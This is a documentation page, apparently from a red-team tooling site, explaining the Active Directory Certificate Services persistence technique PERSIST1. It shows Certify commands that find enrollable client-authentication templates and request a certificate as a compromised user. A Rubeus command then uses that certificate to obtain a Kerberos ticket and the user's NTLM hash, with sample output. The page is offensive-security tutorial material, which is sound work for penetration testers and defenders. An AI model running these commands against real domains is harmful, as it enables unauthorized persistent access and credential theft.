> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.
# PERSIST1 - User Persistence via Certificates
> Learn how to extend initial access to a user into persistent access by requesting a client authentication certificate in the context of the user account.
PERSIST1 is a technique used to extend initial access to a user into persistent access by requesting a client authentication certificate in the context of the user account, which can be used for future authentication as the user account. If, for example, a phishing attack is successful and access is obtained as a user for which the credentials are unknown, persistent access to that user can be obtained through certificates.
## Template Requirements
According to [Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf), a suitable certificate template must meet these criteria:
The enterprise CA grants enrollment rights to the user account. Otherwise, the account would be unable to request any certificates from the CA.
The certificate template grants enrollment rights to the user account. Otherwise, the account would be unable to request certificates based on the specific template.
The "manager approval" feature is disabled for the certificate template. Otherwise, a "CA Manager" would have to manually review and approve the certificate request.
The "authorized signature" feature is disabled for the certificate template. Otherwise, an enrollment agent would need to sign the certificate request on behalf of the requester.
The certificate template defines an Extended Key Usage (EKU) that enables client authentication:
* `Client Authentication` (`1.3.6.1.5.5.7.3.2`)
* `PKINIT Client Authentication` (`1.3.6.1.5.2.3.4`)
* `Smart Card Logon` (`1.3.6.1.4.1.311.20.2.2`)
* `Any Purpose` (`2.5.29.37.0`)
* `Subordinate CA` (No EKUs)
## Enumeration
We can search for certificate templates with these conditions using the [`enum-templates --filter-client-auth`](/ghostpack-docs/Certify.wik-mdx/1-command-overview#enumerate-templates) command from Certify.
```bash PowerShell theme={null}
Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins
```
```diff Sample Output theme={null}
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v2.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Classifying vulnerabilities in the context of built-in low-privileged domain groups.
...
[*] Enabled certificate templates found using the current filter parameters:
Template Name : User
Enabled : True
Publishing CAs : ca01.corp.local\CORP-CA01-CA
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Certificate Name Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
Enrollment Flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
+ Manager Approval Required : False
+ Authorized Signatures Required : 0
+ Extended Key Usage : Client Authentication, Encrypting File System, Secure Email
Certificate Application Policies :
Permissions
Enrollment Permissions
+ Enrollment Rights : CORP\Domain Users S-1-5-21-976219687-1556195986-4104514715-513
Object Control Permissions
Certify completed in 00:00:01.7777410
```
Use `--filter-enabled` to only show templates published by a CA and `--hide-admins` to reduce noise in the output.
Once we have identified a suitable certificate template that the user account can enroll in, we can request a certificate based on the template using the [`request`](/ghostpack-docs/Certify.wik-mdx/1-command-overview#request-certificates) command from Certify.
```diff theme={null}
> Certify.exe request --ca ca01.corp.local\CORP-CA01-CA --template User
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v2.0.0
[*] Action: Request a certificate
[*] Current user context : CORP\lowpriv
[*] No subject name specified, using current context as subject.
[*] Template : User
[*] Subject : CN=lowpriv, OU=Users, OU=Corp, DC=corp, DC=local
[*] Certificate Authority : ca01.corp.local\CORP-CA01-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 1
[*] Certificate (PFX) :
MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh...
Certify completed in 00:00:04.3614718
```
When the certificate has been issued, it can be used to persistently authenticate as the user account using the [`asktgt`](/ghostpack-docs/Rubeus-mdx/commands/ticket-requests/asktgt) command from [Rubeus](/ghostpack-docs/Rubeus-mdx/overview). We can also use the `/getcredentials` parameter to request a U2U service ticket and retrieve the password NT hash for the user account.
```diff theme={null}
> Rubeus.exe asktgt /user:lowpriv /certificate:MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh... /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: E=lowpriv@corp.local, CN=lowpriv, OU=Users, OU=Corp, DC=corp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\lowpriv'
[*] Using domain controller: 10.10.10.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGHjCCBhqgAwIBBaEDAgEWooIFMTCCBS1hggUpMIIFJaADAgEFoQ8bDU1FR0FLRUsuTE9DQUyiIjAg
...
ServiceName : krbtgt/corp.local
ServiceRealm : CORP.LOCAL
UserName : lowpriv
UserRealm : CORP.LOCAL
StartTime : 30/06/2025 15.16.52
EndTime : 01/07/2025 01.16.52
RenewTill : 07/07/2025 15.16.52
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : AFXzq5Bai41JhCj70jrfyA==
ASREP (key) : D4F939DAB9C7B93717EB048B0F0F5F5C
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
+ NTLM : 31D6CFE0D16AE931B73C59D7E0C089C0
```
The issued certificate will be able to authenticate for as long as is mentioned in the `Validity Period` attribute of the certificate template. In order to extend the persistence period, you need to abuse [PERSIST3 - Account Persistence via Certificate Renewal](./persist3-account-persistence-via-certificate-renewal).